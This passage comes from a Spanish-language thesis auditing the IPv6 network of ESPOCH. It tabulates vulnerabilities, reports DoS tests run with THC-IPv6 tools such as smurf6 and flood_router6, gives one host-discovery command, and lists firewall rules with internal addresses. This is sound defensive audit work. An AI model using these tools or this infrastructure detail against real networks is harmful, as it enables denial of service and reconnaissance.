DTIC desconoce la capacidad de filtrado de paquetes ICMPv6 (Protocolo de Mensajes de Control de Internet versión 6) del firewall que tiene la red de la ESPOCH.
3.24 [bookmark: _Toc442981733]Servidor DHCP6 malicioso 
	Vulnerabilidad
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Red acepta servidor DHCP6 malicioso
	
	0,5
	


[bookmark: _Toc442981835]Tabla 39: Servidor DHCP6 malicioso 
Realizado por: Johanna Mera

[bookmark: _Toc442981889]Ilustración 29: Servidor DHCP6 malicioso 
Realizado por: Johanna Mera
En DTIC se desconoce si la red IPv6 acepta servidores DHCPv6 (Dynamic Host Configuration Protocol Versión 6) maliciosos.
3.25 [bookmark: _Toc442981734]Paquetes DAD maliciosos
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Red acepta paquetes DAD maliciosos
	
	0,5
	


[bookmark: _Toc442981836]Tabla 40: Paquetes DAD maliciosos 
Realizado por: Johanna Mera

[bookmark: _Toc442981890]Ilustración 30: Paquetes DAD maliciosos 
Realizado por: Johanna Mera
El área de redes de DTIC se desconoce si la red IPv6 acepta paquetes DAD (Detección de direcciones duplicadas) maliciosos
3.26 [bookmark: _Toc442981735]Paquetes ICMPv6 re direccionados
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Red acepta paquetes ICMPv6 re direccionados maliciosamente
	
	0,5
	


[bookmark: _Toc442981837]Tabla 41: Paquetes ICMPv6 re direccionados 
Realizado por: Johanna Mera

[bookmark: _Toc442981891]Ilustración 31: Paquetes ICMPv6 re direccionados
 Realizado por: Johanna Mera
Se ignora si la red IPv6 de la ESPOCH presenta la vulnerabilidad de aceptar paquetes ICMPv6 re-direccionados maliciosamente.
3.27 [bookmark: _Toc442981736]Paquetes ND maliciosos
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Red acepta paquetes ND maliciosos
	
	0,5
	


[bookmark: _Toc442981838]Tabla 42: Paquetes ND maliciosos
 Realizado por: Johanna Mera

[bookmark: _Toc442981892]Ilustración 32: Paquetes ND maliciosos 
Realizado por: Johanna Mera
En DTIC desconoce si la red de la ESPOCH acepta paquetes ND (Neighbor Discovery) malintencionado, sin embargo se utilizó la herramienta parasite6 y se pudo detectar que esta vulnerabilidad si está presente en la red de la institución puede verse la ejecución de dicha herramienta (Anexo 5: Detección de vulnerabilidades; Red acepta paquetes ND maliciosos).
3.28 [bookmark: _Toc442981737]Paquetes RA maliciosos
	Vulnerabilidad
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Red acepta paquetes RA maliciosos
	
	0,5
	


[bookmark: _Toc442981839]Tabla 43: Paquetes RA maliciosos 
Realizado por: Johanna Mera

[bookmark: _Toc442981893]Ilustración 33: Paquetes RA maliciosos
 Realizado por: Johanna Mera
El área de redes de DTIC, se ignora si la red IPv6 de la institución admite paquetes RA (Router Advertisement) maliciosos.
3.29 [bookmark: _Toc442981738]Ataque Smurf 
	Ataque
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Ataque Smurf  través de la dirección de multidifusión de origen /destino
	1
	
	


[bookmark: _Toc442981840]Tabla 44: Ataques Smurf 
Realizado por: Johanna Mera

[bookmark: _Toc442981894]Ilustración 34: Ataques Smurf 
Realizado por: Johanna Mera
La red IPv6 de la ESPOCH presenta la vulnerabilidad a los ataques Smurf a través de direcciones de multifunción de origen y destino, para realizar este ataque se utilizó las herramientas smurf6 y rsmurf6 (véase Anexo 5: Detección de vulnerabilidades; Ataques smurf) este ataque fue realizado por el mes de junio 2014 causando a la red de la ESPOCH una DoS impidiendo la conexión a internet y a partir de dicho incidente se diseñó un escenario virtual de pruebas.
3.30 [bookmark: _Toc442981739]Ensamblaje de paquetes
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Colisión del sistema por ensamblaje incorrecto de paquetes de mensajes fragmentados
	
	0,5
	


[bookmark: _Toc442981841]Tabla 45: Ensamblaje de paquetes
 Realizado por: Johanna Mera

[bookmark: _Toc442981895]Ilustración 35: Ensamblaje de paquetes  
Realizado por: Johanna Mera
DTIC desconoce si la red IPv6 de la ESPOCH ha presentado colisión del sistema por ensamblaje incorrecto de paquetes de mensajes fragmentados, sin embargo se realizó una prueba con la herramienta ra6 (véase Anexo 5: Detección de vulnerabilidades; Colisión del sistema por ensamblaje incorrecto de paquetes de mensajes fragmentados) dando como resultado el ataque con éxito.
3.31 [bookmark: _Toc442981740]Cabeceras de extensión ilimitada
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Caídas del sistema por paquetes con cabeceras de extensión ilimitada
	
	0,5
	


[bookmark: _Toc442981842]Tabla 46: Cabeceras de extensión ilimitada
 Realizado por: Johanna Mera

[bookmark: _Toc442981896]Ilustración 36: Cabeceras de extensión ilimitada
 Realizado por: Johanna Mera
En el DTIC se ignora si se ha presentado problemas de caídas del sistema por paquetes con cabeceras de extensión ilimitada. 
3.32 [bookmark: _Toc442981741]Inundaciones RA
	Ataque
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Caídas del sistema por inundaciones RA
	1
	
	


[bookmark: _Toc442981843]Tabla 47: Inundaciones RA 
Realizado por: Johanna Mera

[bookmark: _Toc442981897]Ilustración 37: Inundaciones RA
 Realizado por: Johanna Mera
En el área de redes del DTIC se ha detectado ataques por inundaciones de paquetes RA para la realización de este tipo de ataques se utilizó la herramienta flood_router6 (véase el ataque en Anexo 5: Detección de vulnerabilidades; Caídas del sistema por inundaciones RA), como consecuencia de dicho ataque que fue realizado en junio 2014 la red afronto con DoS (denegación de servicio) bloqueando el sistema para el acceso de internet.
3.33 [bookmark: _Toc442981742]DoS a través SeNd 
	Ataque
	Es Vulnerable
	Desconozco
	No es Vulnerable

	DoS a través de inundaciones SeNd
	1
	
	


[bookmark: _Toc442981844]Tabla 48: DoS a través SEND 
Realizado por: Johanna Mera

[bookmark: _Toc442981898]Ilustración 38: DoS a través SEND
 Realizado por: Johanna Mera
Según el departamento de redes de DTIC afirma que la red IPv6 de la ESPOCH es vulnerable a los ataques DoS a través de inundaciones SeNd (SEcure Neighbor Discovery), por lo que la red está expuesta a ataques spoofing con el descubrimiento de vecinos que puede dar lugar a DoS (denegación de servicios).
3.34 [bookmark: _Toc442981743]Agotamiento por tabla de estado 
	vulnerabilidad
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Agotamiento de tabla de estado del sistema por las inundaciones ND
	1
	
	


[bookmark: _Toc442981845]Tabla 49: Agotamiento por la tabla de estado
 Realizado por: Johanna Mera

[bookmark: _Toc442981899]Ilustración 39: Agotamiento por la tabla de estado 
Realizado por: Johanna Mera
La red de la ESPOCH presenta vulnerabilidad por el agotamiento por las inundaciones ND en la tabla de sistema para la detección de dicha vulnerabilidad se puede utilizar la herramienta alive6, cabe recalcar que cuando se agota la tabla de estado esto da a lugar a la DoS.
3.35 [bookmark: _Toc442981744]DDoS utilizando túneles 
	ataque
	Es Vulnerable
	
Desconozco
	No es Vulnerable

	DDoS a través de enrutamiento utilizando túneles
	
	0,5
	


[bookmark: _Toc442981846]Tabla 50: DDoS utilizando túneles 
Realizado por: Johanna Mera

[bookmark: _Toc442981900]Ilustración 40: DDoS utilizando túneles 
Realizado por: Johanna Mera
DTIC, desconoce si la red implementada en IPv6 tiene vulnerabilidad a los ataques de DoS por amplificación a través de enrutamiento utilizando túneles, para mi criterio no debería existir esta vulnerabilidad en la red de la institución porque según el Ing. Ernesto Pérez en el firewall hay una regla que bloque a los túneles IPv6.
3.36 [bookmark: _Toc442981745]Suplantación de ICMP 
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Enrutamiento influenciado por suplantación de ICMP
	
	0,5
	


[bookmark: _Toc442981847]Tabla 51: Suplantación de ICMP
 Realizado por: Johanna Mera

[bookmark: _Toc442981901]Ilustración 41: Suplantación de ICMP 
Realizado por: Johanna Mera
Se desconoce si la red de la ESPOCH presenta vulnerabilidad de enrutamiento influenciado por suplantación de ICMP (Protocolo de Mensajes de Control de Internet).
3.37 [bookmark: _Toc442981746]DDoS por paquete de respuesta DNS
	ataque
	Es Vulnerable
	Desconozco
	No es Vulnerable

	DDoS a través de tamaño del paquete de respuesta DNS
	1
	
	


[bookmark: _Toc442981848]Tabla 52: DDoS por paquetes de respuesta DNS
 Realizado por: Johanna Mera

[bookmark: _Toc442981902]Ilustración 42: DDoS por paquetes de respuesta DNS 
Realizado por: Johanna Mera
El departamento de redes de DTIC afirma que ha descubierto que la red presenta vulnerabilidad a ataques DDoS a través de tamaño del paquete de respuesta DNS, este ataque se dio en el sistema académico de la ESPOCH pero cabe recalcar que cuando se produjo dicho ataque aún no se hallaba implementado IPv6 este ataque fue a nivel de la red IPv4.
3.38 [bookmark: _Toc442981747]Vulnerabilidad en aplicaciones 
	
	Es Vulnerable
	Desconozco
	No es Vulnerable

	Vulnerabilidad de seguridad en aplicaciones
	1
	
	


[bookmark: _Toc442981849]Tabla 53: Vulnerabilidad en aplicaciones
 Realizado por: Johanna Mera

[bookmark: _Toc442981903]Ilustración 43: Vulnerabilidad en aplicaciones 
Realizado por: Johanna Mera
En el DTIC se ha encontrado vulnerabilidad de seguridad en aplicaciones tales como el sitio web de la institución y redes sociales, por lo que se debe prestar especial atención a las aplicaciones que manipulan directamente paquetes como de IDS (sistema de detección de intrusos) y IPS (sistema de prevención de intrusos).
3.39 [bookmark: _Toc442981748]Resultados
En la tabla Nro.54, se aprecia los índices de seguridad que han sido planteados en este estudio para la detección de vulnerabilidades que tiene la red IPv6 de la ESPOCH, de los cuales se contabiliza su frecuencia en las columnas correspondientes a las denominaciones “si se es vulnerable”, “se desconoce” y respectivamente a “no es vulnerable”.
	#índice
	Índices 
	Si/Si es vulnerable
	Desconoce
	No/No es vulnerable

	1
	Documentación de la red IPv6
	
	
	x

	2
	Administración cuentas usuario
	x
	
	

	3
	Cortafuegos
	x
	
	

	4
	Conectividad IPv6
	
	x
	

	5
	Separación de servicios
	
	
	x

	6
	Acceso a dispositivos
	x
	
	

	7
	Bitácora de actividades
	
	
	x

	8
	Fingerprinting
	x
	
	

	9
	Descubrimiento de host
	x
	
	

	10
	DNS inversas
	
	
	x

	11
	Privacidad SLAAC
	
	x
	

	12
	Problemas de administración
	
	
	x

	13
	Características obsoletas
	x
	
	

	14
	Funcionalidad de IPv6
	x
	
	

	15
	Filtrado de canales encubiertos
	
	
	x

	16
	Bloquear tráfico entrante IPv6
	x
	
	

	17
	Filtrado de tráfico IPv6
	x
	
	

	18
	Filtrado de túneles IPv6
	
	
	x

	19
	Gestión de fragmentos superpuestos
	x
	
	

	20
	Encabezados de extensión
	
	x
	

	21
	Filtrado de paquetes ICMPv6
	
	x
	

	22
	Servidor DHCP6 malicioso
	
	x
	

	23
	Paquetes DAD maliciosos
	
	x
	

	24
	Paquetes ICMPv6 re direccionados
	
	x
	

	25
	Paquetes ND maliciosos
	x
	
	

	26
	Paquetes RA maliciosos
	
	x
	

	27
	Ataque Smurf
	x
	
	

	28
	Ensamblaje de paquetes
	x
	
	

	29
	Cabeceras de extensión ilimitada
	
	x
	

	30
	Inundaciones RA
	x
	
	

	31
	DoS a través SeNd
	x
	
	

	32
	Agotamiento por tabla de estado
	x
	
	

	33
	DDoS utilizando túneles
	
	
	x

	34
	Suplantación de ICMP
	
	x
	

	35
	DDoS por paquete de respuesta DNS
	x
	
	

	36
	Vulnerabilidad en aplicaciones
	x
	
	

	Total:
	18
	10
	8


[bookmark: _Toc442981850]Tabla 54: Resultados  
Realizado por: Johanna Mera
En base a la sumatoria total de la tabla anteriormente expuesta, se generó la ilustración Nro.44 donde se representa el nivel de vulnerabilidad que tiene la red IPv6 de la ESPOCH.

[bookmark: _Toc442981904]Ilustración 44: Nivel de vulnerabilidades en la red IPv6 de la ESPOCH
Realizado por: Johanna Mera

Donde se demuestra que en DTIC, se ha encontrado 18 vulnerabilidades que representan al 50% de los índices de seguridad planteados, los cuales a continuación se los cita:
1. Los cortafuegos implementados no están configurados para IPv6
2. La administración de cuentas de usuario se encuentra vulnerable porque no existe un control a usuarios remotos con dirección IPv6
3. Se tiene acceso físico y remoto a los dispositivos con IPv6
4. Existe la vulnerabilidad de fingerprinting
5. Existe la vulnerabilidad de descubrimiento de host
6. Existen características IPv6 obsoletas
7. Existe mala funcionalidad de IPv6
8. El firewall no bloquea tráfico IPv6
9. El firewall no filtra tráfico IPv6
10. El firewall no gestiona correctamente fragmentos superpuesto
11. La red acepta paquetes ND maliciosos
12. Se ha detectado ataques smurf
13. Se ha colapsado el sistema por ensamblaje incorrecto de paquetes de mensajes fragmentados
14.  Se ha detectado ataques por inundaciones de paquetes RA
15. Se ha detectado ataques DoS a través de inundaciones SeNd
16. Se ha detectado agotamiento por las inundaciones ND
17. Se ha detectado ataques DDoS a través de tamaño del paquete de respuesta DNS 
18. Se ha detectado vulnerabilidad en la seguridad de aplicaciones.

A continuación se listan los índices que representan el 28% o a su vez 10 de ellos, donde se ha manifestado que se desconoce si existen dichas vulnerabilidades o si este representa una amenaza para un posible ataque a la red:
1.  Se desconoce que si al no tener todas las VLAN o subredes con conectividad IPv6, esto representaría a una vulnerabilidad.
2. Se desconoce, si en la red IPv6 de la ESPOCH ha existido problemas de privacidad por SLAAC.
3. Se desconoce si el dispositivo de filtrado no soporta algunos encabezados de extensión.
4. Se desconoce si el dispositivo de filtrado filtra demasiados paquetes ICMPv6
5. Se desconoce si la red IPv6 acepta servidores DHCP6 maliciosos
6. Se desconoce si la red IPv6 acepta paquetes DAD maliciosos
7. Se desconoce si la red IPv6 acepta paquetes ICMPv6 re-direccionados maliciosamente
8. Se desconoce si la red IPv6 acepta paquetes RA maliciosos
9. Se desconoce si ha existido en la red IPv6 caídas del sistema por aceptación de paquetes con cabeceras de extensión ilimitada.
10. Se desconoce si ha existido algún enrutamiento influenciado por suplantación de ICMP en la red de la institución.
Según la ilustración Nro.44, el 22% del total de los índices tomados responden a las actividades que no generan riesgos para la red IPv6 de la institución como el no poseer ninguna documentación como: Diagramas de red, Plan de seguridad, Plan de contingencia, Inventarios de dispositivos conectados a la red IPv6 y Políticas de seguridad y a las medidas de seguridad que han sido implementadas además de lo que se ha detectado que la red IPv6 no es vulnerable como:

1. EL departamento de redes de DTIC, no cuenta con ninguna clase de documentación para la red IPv6.
2. La separación de servicios en los servidores con conectividad IPv6. 
3. En DTIC, para el control de las actividades realizadas se lleva una bitácora diaria.
4. La red IPv6, no tiene problemas de DNS inversa.
5. En la red IPv6 no existen problemas de administración con la Autoconfiguración de direcciones “stateful” en DHCPv6.
6. El dispositivo de filtrado de la red de la ESPOCH, no permite canales encubiertos.
7. El dispositivo de filtrado de la red me permite seleccionar de acuerdo a un criterio a los túneles.
8. La red IPv6, no ha tenido problemas DDoS (denegación de servicios distribuidos) a través de enrutamiento utilizando túneles debido a que existe una política de seguridad de seleccionar que tipo de túneles pueden acceder a la red.








CAPÍTULO IV
[bookmark: _Toc442981749]DISEÑO E IMPLEMENTACIÓN DE POLÍTICAS DE SEGURIDAD PARA LA RED IPv6 DE LA ESPOCH
El propósito de este capítulo es ofrecer políticas de seguridad, estrategias de mitigación y recomendaciones para contrarrestar las vulnerabilidades halladas en la red IPv6 de la ESPOCH, con el objetivo de minimizar el nivel de vulnerabilidad. En el desarrollo de estas políticas se deben definir los términos, condiciones y limitantes de los servicios que prestan los dispositivos que forman parte de la infraestructura de la red IPv6. 
Aquí se presenta el escenario nuevo de la red IPv6 donde consta su reestructuración, las recomendaciones para la configuración de aspectos generales de la red, las políticas de seguridad o mitigaciones para las vulnerabilidades de consideraciones generales, las vulnerabilidades de filtrado, de sistemas específicos, de enrutamiento, de aplicaciones y otras.


4.1 [bookmark: _Toc442981750]Escenario de la reestructuración de la red IPv6
[image: ]
[bookmark: _Toc442981905]Ilustración 45: Escenario de la reestructuración de la red IPv6 de la ESPOCH 
Realizado por: Johanna Mera

Debido a los ataques que ha tenido la red IPv6 de la ESPOCH, se hizo un rediseño de la red de forma que se integró los conceptos de DMZ para dividir de acuerdo a los servicios y funcionalidades a los componentes de la red y así proteger a esta de futuros ataques. Con la reestructuración de la red se tiene conectividad IPv6 completa en el edificio nuevo de la FIE es decir si se desactiva IPv4 en cualquiera de los dispositivos que se encuentran en esta red se mantendrá la conexión. En el segundo piso del edificio de la DTIC también goza de dicha conectividad y es aquí donde se diseñó las DMZ1: donde se encuentran los servidores externos, como el DNS externo o el servidor Mirror que sirve para la actualización de las distribuciones de Linux o el servidor www.espoch.edu.ec; DMZ2: es donde se encuentran los servidores internos en producción, como los dos DNS internos; DMZ3: es donde se encuentran los servidores en pruebas. Sin embargo cabe notar que la red IPv6 de la ESPOCH se encuentra implementada de forma parcial. 
4.2 [bookmark: _Toc442981751]Cortafuegos
Como el firewall que se encontraba en funcionamiento estaba obsoleto fue inevitable su reemplazo.

4.2.1 [bookmark: _Toc442981752]Parámetros de selección:
1. Evaluar la infraestructura de red actual y decidir cómo encaja en el firewall, determinar si se desea protección del perímetro o simplemente segmento de la red, tener en cuenta la cantidad de interfaces que el cortafuego debe prever, considerar el número de usuarios que tendrán sesiones simultáneas, averiguar si necesita soporte VPN y la integración con servidores de correo o dispositivos de SharePoint.
2. Determinar tipo de protección que necesita, debe implementar la política en relación con el tipo de tráfico que va a restringir.
3. Definir la interfaz del cortafuegos, debe ser compatible con su personal de TI, ejemplo , la interfaz debe utilizar un lenguaje que ya están familiarizados o uno que sea fácil de aprender
4. Consultar con un especialista de la industria en caso de haber dudas en la selección. 
5. Comparar las especificaciones y fichas técnicas de los diversos productos de firewall para obtener una mejor comprensión de las tecnologías de firewall y qué tipo de seguridad es mejor para su organización. 

4.2.2 [bookmark: _Toc442981753]Elección del cortafuego 
Se eligió un firewall de cisco ASA 5500, que tiene las siguientes funciones:
· Identificación y control de las aplicaciones en cualquier puerto
· Identificación y control de aplicaciones evasivas 
· Descifrado de SSL saliente 
· Identificación y control de las aplicaciones que comparten un misma conexión 
· Control de las funciones de cada aplicación 
· Administración del tráfico según políticas 
· Escaneado en busca de virus y malware en las aplicaciones admitidas 
· Visibilidad y control de las aplicaciones para usuarios remotos 
· Hacer más sencilla la política de seguridad aun añadiendo visibilidad de aplicaciones 
· Igual nivel de rendimiento con el control de aplicaciones activado

4.2.3 [bookmark: _Toc442981754]Reglas implementadas en el firewall 
Estas reglas se encuentran implementadas en el equipo de ASA 5500, con el propósito de permitir o denegar acciones en la red se tiene tres denominaciones que son:
1. Inside, donde se crea las reglas que hacen cumplir a las políticas internas contra intrusos.
2. Servidores, aquí se crean las reglas que definen a las políticas para la protección de los servidores.
3. Wan, se definen las reglas que definen las políticas de protección de toda la red.
Con estas reglas se determina el servicio a permitir o denegar desde un origen a un destino.
En la tabla Nro.55, se listan las reglas implementadas en el cortafuego ASA 5500, describiendo su denominación, origen, destino, servicios y acción.
	#
	Denominación
	Origen 
	Destino 
	Servicio 
	Acción 

	1
	Servidores 
	DMZ1: DC_2800:68:A:7101::
DMZ2: DC_2800:68:A:7102::
DMZ3: DC_2800:68:A:7103::
	Any
	Smtp
http
https
	Permit 

	2
	Servidores 
	Dns Externo(DMZ1): DMZ1_2800:68:A:7101::3
Dns Interno1(DMZ2): DMZ2_2800:68:A:7102::39
Dns Interno2(DMZ2): DMZ2_2800:68:A:7102::40
	Any
	Domain
Ntp
	Permit

	3
	Servidores
	Mirror: DMZ1_2800:68:A:7101::8
	Any
	6881-6891
873
ftp
ftp-data
http
https
ntp
	Permit

	4
	Servidores
	Any
	dns_2001:4860:4860:8844
dns_2001:4860:4860:8888
	Domain
	Permit

	5
	Wan
	Any
	Dns Externo(DMZ1): DMZ1_2800:68:A:7101::3 
	Icmp
icmp6
domain
	Permit

	6
	Wan
	Any
	www.espoch.edu.ec(DMZ1): DMZ1_2800:68:A:7101::2
	Icmp
icmp6
http
	Permit

	7
	Wan
	Any
	Mirror: DMZ1_2800:68:A:7101::8
	Mirror
	Permit

	8
	Wan
	Any6
Any4
	Mirror:DMZ1_2800:68:A:7101::8
	Icmp
icmp6
	Permit

	9
	Inside
	Redes_IPv4_6_FIE
	Any
	puertos_out_proxy
	Permit

	10
	Inside
	Redes_IPv4_6_DTIC
	Any
	Icmp
4848
icmp6
ERemoto
Puertos_out_proxy
5000
ssh
telnet
	Permit

	11
	Inside
	Any
	SrvDNS_
	Domain
	Permit

	12
	Inside
	Any
	Srv_DHCP
	Bootpc
bootps
	Permit

	13
	Inside
	Any
	Srv_NTP
	ntp
	Permit

	14
	Inside
	Any
	DC_Group1
	http
https
	Denegar


[bookmark: _Toc442981851]Tabla 55: Reglas implementadas en el firewall ASA 5500
Realizado por: Johanna Mera
4.3 [bookmark: _Toc442981755]Administración de cuentas del usuario
Para disminuir la vulnerabilidad en la administración de cuentas de usuarios hay que implementar un control a usuarios remotos, limitando el acceso a usuarios remotos, este se debe evitar lo más posible porque ocasionaría graves daños si un intruso penetrara por ejemplo a los servidores. Como procedimiento a esta política en la tabla Nro.56 se muestra la regla nº 10.
	Nº Regla
	Tipo Regla
	Origen 
	Destino 
	Servicios 
	Acción

	10
	Inside
	Redes_IPv4_6_DTIC
	Any
	Icmp
4848
icmp6
ERemoto
Puertos_out_proxy
5000
ssh
telnet
	Permit


[bookmark: _Toc442981852]Tabla 56: Regla para administración de cuentas de usuario 
Realizado por: Johanna Mera
4.4 [bookmark: _Toc442981756]Acceso a dispositivos
Para disminuir la vulnerabilidad en la red por el acceso físico y remoto a los dispositivos con conectividad IPv6, se debe implementar un control a dicho acceso porque es la forma de proteger a dichos dispositivos de un ataque a la red exitoso. El procedimiento para implementar un control de acceso a los dispositivos en la red será el siguiente, donde se propone:
· Identificar los dispositivos que forman parte de la red IPv6
· Determinar la funcionalidad del dispositivo en la red
· Restringir el acceso a los dispositivos que creyere conveniente 
	Dispositivo
	Funcionalidad
	Regla de restricción 

	Servidor DNS
	Resolución de nombres de dominios
	Habilitar solo servicios domain y ntp


[bookmark: _Toc442981853]Tabla 57: Bitácora para el registro del acceso a los dispositivos 
Realizado por: Johanna Mera
En la tabla Nro.58 se muestra las reglas que se implementó en el firewall para cumplir con esta política de seguridad.
	Nº R
	Tipo Regla
	Origen 
	Destino 
	Servicios 
	Acción

	2
	Servidores 
	Dns Externo(DMZ1): DMZ1_2800:68:A:7101::3
Dns Interno1(DMZ2): DMZ2_2800:68:A:7102::39
Dns Interno2(DMZ2): DMZ2_2800:68:A:7102::40
	Any
	domain
ntp
	Permit

	3
	Servidores
	Mirror: DMZ1_2800:68:A:7101::8
	Any
	6881-6891
873
ftp
ftp-data
http
https
ntp
	Permit

	4
	Servidores
	Any
	dns_2001:4860:4860:8844
dns_2001:4860:4860:8888
	domain
	Permit

	5
	Wan
	Any
	Dns Externo(DMZ1): DMZ1_2800:68:A:7101::3 
	icmp
icmp6
domain
	Permit

	6
	Wan
	Any
	www.espoch.edu.ec(DMZ1): DMZ1_2800:68:A:7101::2
	icmp
icmp6
http
	Permit

	7
	Wan
	Any
	Mirror: DMZ1_2800:68:A:7101::8
	Mirror
	Permit

	8
	Wan
	Any6
Any4
	Mirror:DMZ1_2800:68:A:7101::8
	icmp
icmp6
	Permit

	11
	Inside
	Any
	SrvDNS_
	domain
	Permit

	12
	Inside
	Any
	Srv_DHCP
	bootpc
bootps
	Permit

	13
	Inside
	Any
	Srv_NTP
	ntp
	Permit

	14
	Inside
	Any
	DC_Group1
	http
https
	Denegar


[bookmark: _Toc442981854]Tabla 58: Reglas definido para el acceso a los dispositivos
 Realizado por: Johanna Mera
4.5 [bookmark: _Toc442981757]Fingerprinting
Fingerprinting como es un mecanismo de identificación, se lo puede mitigar a nivel de aplicación donde se recurre a ocultar parte de la información, como las páginas de cabecera y la información de versión de apache. Como también se lo puede hacer a nivel de SO con IPv6, por ejemplo respondiendo con paquetes ICMPv6 a una dirección broadcast, esto puede ser reconfigurado de forma manual.
4.6 [bookmark: _Toc442981758]Descubrimiento de host
Para disminuir vulnerabilidad del descubrimiento de hosts, que es básicamente un intento de fuerza bruta para encontrar los hosts activos. Se puede monitorear frecuentemente la red IPv6 para ello hay que tomar en cuenta 2 escenarios:
a. Sistema oculto comúnmente controlado por un atacante, hallar dichos sistemas es difícil, la investigación de tráfico de la red en el lugar es el mejor método para hacerlo. 
b. Sistemas normales, es más fácil encontrar estos sistemas porque por lo general el espacio de direcciones es mucho menor, una de las razones de esto es que las direcciones de los servidores son estáticas:
· Si las direcciones se generan dinámicamente, utilizando la dirección MAC de la tarjeta de red para crear una dirección EUI-64, el número de posibles direcciones IPv6 disminuye. Una dirección MAC contiene 48 bits, la primera 24 indican el fabricante y el último 24 son un identificador único. El 7 º bit indica si se trata de una dirección MAC modificado manualmente y el 8 º uno se utiliza para distinguir entre unicast y multicast. Normalmente estos son 0 resulta en 46 bits de aleatoriedad. Si el fabricante de las tarjetas de interfaz de red es conocido, el espacio de búsqueda se reduce aún más a 24 bits
· Un método estático de la conversión de direcciones IPv4 a direcciones IPv6 se puede hacer mediante el uso de la dirección IPv4 como los bytes menos significativos en el IPv6 uno, por ejemplo, 2001: db8 :: 192.0.2.1/64 ;2001: db8 :: c000: 201. Esto se utiliza a menudo en situaciones donde los sistemas (tales como sistemas de aprovisionamiento / facturación) no son conscientes de IPv6. Tener una correspondencia fija hace que la traducción más fácil. Por último, los objetivos específicos a menudo tienen registros DNS, una serie de DNS basado herramientas pueden encontrar estos registros y sus direcciones IP correspondientes.
· El usuario puede utilizar multicast, ciertos sistemas, incluyendo algunos IPS / IDSes, pueden también ser detectados mediante el envío de un eco ICMPv6 Solicitud de una dirección de multidifusión y escuchar respuestas de eco. Esto se puede hacer con el comando: “sudo thcping6 eth0 ff02 :: 1”
· En algunos casos, puede ayudar a extraer el tráfico de red hacia un sistema de prueba, a fin de supervisar flujos de datos e identificar los sistemas activos. Las vulnerabilidades en la categoría MitM pueden ayudar en a este respecto. Para las pruebas de penetración, que tendría más sentido para monitorear el tráfico en los routers como esto suele ser menos invasiva.
· A pesar de que la búsqueda de un host IPv6 puede ser bastante difícil, es poco aconsejable utilizar esto como una argumento para no sujetar bien un sistema
4.7 [bookmark: _Toc442981759]Características obsoletas
Para resolver los problemas de las características IPv6 obsoletas o inseguras se debe dar soporte para dichas características que crean debilidades de seguridad en una red si están habilitadas.
Si está en desuso un protocolo o característica, se debe aplicar una combinación de las siguientes soluciones:
· Retire características de IPv6 en desuso de las implementaciones
· Desactivar características de IPv6 en desuso de configuraciones
· Filtrar las opciones por firewalls, switches según corresponda.
· Eliminar o bloquear la funcionalidad en los sistemas afectados
· Filtrar la funcionalidad en dispositivos intermedios
4.8 [bookmark: _Toc442981760]Funcionalidad de IPv6
Para mejorar sistema o servicio con mala funcionalidad de IPv6 en los servidores, la solución primaria es configurar correctamente IPv6 para todos los dispositivos en la red, para ello se debe hacer lo siguiente:
1. Añadir correctas AAAA registros DNS si se han perdido y eliminar registros AAAA defectuosos. (para servidores DNS)
2. Configurar correctamente IPv6 en los servidores 
3. Habilitar el servidor web para escuchar en IPv6 en las interfaces aplicables, por tanto HTTP y HTTPS. (para servidores WEB)
4. Habilitar IPv6 en proxies y balanceadores de carga.
4.9 [bookmark: _Toc442981761] Bloquear tráfico entrante IPv6
Para la mitigación de esta vulnerablidad se puede realzar lo siguiente:
· Habilitar un firewall sobre los límites de la red si es posible, de lo contrario agregar servidores de seguridad en dichos límites de la red. 
· Habilitar la protección del host. 
En nuestro escenario como el dispositivo de filtrado no bloqueaba el tráfico entrante de IPv6, es evidente que se realizó su reeplazo y en el se programo una regla de bloqueo, donde se deniega el tráfico entrante de http y https a los equipos que forman parte de DC_Grupo1 el mismo que esta formado por varios servidores. 
	Nº Regla
	Tipo Regla
	Origen 
	Destino 
	Servicios 
	Acción

	14
	Inside
	Any
	DC_Group1
	http
https
	Denegar


[bookmark: _Toc442981855]Tabla 59: Regla que bloque tráfico entrante 
Realizado por: Johanna Mera

4.10 [bookmark: _Toc442981762]Filtrado de tráfico IPv6
Como solución a esta vulnerabilidad es tratar en lo posible de filtrar todo el tráfico IPv6, como también instalar mecanismos de protección IPv6 y gestionar la red IPv6. Para ello se reemplazó al dispositivo de filtrado que no filtraba el tráfico IPv6, y en la tabla a continuación se describen las reglas realizadas con el proposito de filtar el tráfico IPv6.
	Nº Regla
	Tipo Regla
	Origen 
	Destino 
	Servicios 
	Acción

	5
	Wan
	Any
	Dns Externo(DMZ1): DMZ1_2800:68:A:7101::3 
	icmp
icmp6
domain
	Permit

	6
	Wan
	Any
	www.espoch.edu.ec(DMZ1): DMZ1_2800:68:A:7101::2
	icmp
icmp6
http
	Permit

	8
	Wan
	Any6
Any4
	Mirror:DMZ1_2800:68:A:7101::8
	icmp
icmp6
	Permit

	9
	Inside
	Redes_IPv4_6_FIE
	Any
	puertos_out_proxy
	Permit

	10
	Inside
	Redes_IPv4_6_DTIC
	Any
	icmp
4848
icmp6
ERemoto
Puertos_out_proxy
5000
ssh
telnet
	Permit


[bookmark: _Toc442981856]Tabla 60: Reglas que filtran el tráfico IPv6 
Realizado por: Johanna Mera

4.11 [bookmark: _Toc442981763] Gestión de fragmentos
Para disminuir la vulnerabilidad de que no se gestionan correctamente los fragmentos superpuesto, como primer punto se procedió a renovar el dispositivo de filtrado que no gestionaba correctamente dichos fragmentos y lo segundo seria:
· Implementar RFC 5722 : "Manejo de superposición de IPv6 Fragmentos '
· Implementar RFC 6946: "El procesamiento de fragmentos “Atomic” IPv6”

4.12 [bookmark: _Toc442981764]Paquetes ND maliciosos
